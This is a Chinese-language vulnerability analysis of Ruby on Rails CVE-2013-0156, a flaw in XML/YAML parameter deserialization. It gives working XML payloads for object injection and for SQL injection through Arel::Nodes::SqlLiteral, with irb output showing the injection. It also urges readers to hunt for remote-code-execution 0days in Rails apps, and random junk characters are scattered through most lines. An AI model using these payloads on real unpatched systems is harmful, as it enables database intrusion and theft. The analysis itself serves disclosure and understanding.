Author: wofeiwo#80sec.com
& O4 O q# e$ B. M0 I3 C) K
, D3 K; w# C/ ]注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。
8 [5 C9 F- T( }' r6 F' Y- A, c7 f! k5 g* }2 j
近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156. . M& q$ I( e! s: w1 s2 s- i* e
+ c/ e- l. @5 E% R
CVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了.
* A9 q4 n8 h3 R0 g5 L# v" I
2 W4 e+ D& e+ e为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如:
1 x P" j# V: H4 M# |/ k6 \1 U0 K9 h0 S
<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为: ' Q1 t# ~3 H/ J" y9 W% J( \6 M5 K
; {8 m. V" {9 ~7 \# b1 @"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml.
! O6 M6 q0 ]7 q2 h _( ]8 N. O- E8 D8 ^1 u
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么? ) v! I5 {. }& a! R f: K' d& A
) M8 E R1 t6 v$ z7 q$ K) L# R& J然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。
; J7 _% ^) p+ i
+ P$ o4 ]9 D, H+ H) ~/ b Q但是等等,还有另一个参数类型,yaml。 * |, [" H2 {0 Y! \1 a$ d/ q8 X
- E8 _7 U5 D1 K- A9 Y8 M
yaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。
| j8 Y% A8 x1 ^& C5 I
# T6 n' ~+ N \' ^<test type="yaml">--- !ruby/object:A
1 | f& P# V1 D% q+ k2 z" paaa: bbb </test>这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。 1 ?; \. e) ^- y& Y. x
, w. n9 c3 D6 ?. {4 E
如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。 + J5 {3 }3 J9 J5 c
5 Q+ t1 f2 b6 R4 B; J4 a3 V. s1 i0 t如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。
( C. d3 H, U3 v: r; p& S
+ ?4 J5 u" f- B4 p9 Q6 K- y一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式) ' i" Y* J# z2 p$ s, x/ O) |
: j- r, W+ Y# xmodel.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容:
$ n+ A" b. t$ A' j3 N5 {
- @9 ]7 T" u$ @: a+ `<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
9 w) T& t& T6 j' r, q1 and 1=2 </id>利用如上代码,通过SqlLiteral对象,即可进行sql注入。
! S' v+ H0 j7 e0 r* H% g' y0 C
. E& o' j6 j0 z( ~. \1 firb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。
9 L/ b2 W* d( Q' k# Y
2 ~7 c C+ B# x4 B2 H4 k& e |